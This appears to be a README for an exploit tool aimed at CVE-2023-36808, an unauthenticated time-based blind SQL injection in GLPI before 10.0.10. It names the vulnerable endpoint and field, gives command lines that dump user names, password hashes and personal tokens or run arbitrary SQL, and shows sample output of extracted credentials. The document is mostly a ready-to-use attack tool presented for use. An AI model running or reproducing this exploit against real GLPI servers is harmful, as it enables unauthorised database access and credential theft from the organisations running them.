fransosiche/exploit-cve-2023-36808Time-based blind SQL injection exploit for CVE-2023-36808 in GLPI < 10.0.10. Extracts user credentials and database contents via unauthenticated XML inventory endpoint with binary search optimization.
GLPI versions < 10.0.10 expose an unauthenticated XML inventory endpoint at /front/inventory.php.
The <deviceid> field is injected directly into a SQL query without sanitisation:
SELECT id FROM glpi_agents WHERE deviceid = '<INJECT>'
No authentication is required. The vulnerability allows full database read access via blind SQL injection.
This script uses time-based blind injection with binary search to extract data significantly faster than generic tools.
pip install -r requirements.txt
# Dump the full glpi_users table (name, password hash, personal_token)
python3 exploit.py http://<TARGET>/glpi
# Custom SQL query
python3 exploit.py http://<TARGET>/glpi --query "SELECT @@version"
# Tune timing (lower sleep = faster, increase if you get wrong results)
python3 exploit.py http://<TARGET>/glpi --sleep 0.3
# Increase parallel request cap (default 2, raise on high-latency remote targets)
python3 exploit.py http://<TARGET>/glpi --parallel 4
[*] CVE-2023-36808 - GLPI Unauthenticated SQLi
[*] Target : http://10.0.0.1/glpi/front/inventory.php
[*] Sleep : 0.5s Threshold: 0.35s Parallel: 2
[+] Target reachable
[+] Injection confirmed
[*] User 1/7
name glpi
password $2y$10$xN.12pQxSLlQdMJzP26EWe...
personal_token xxxx
...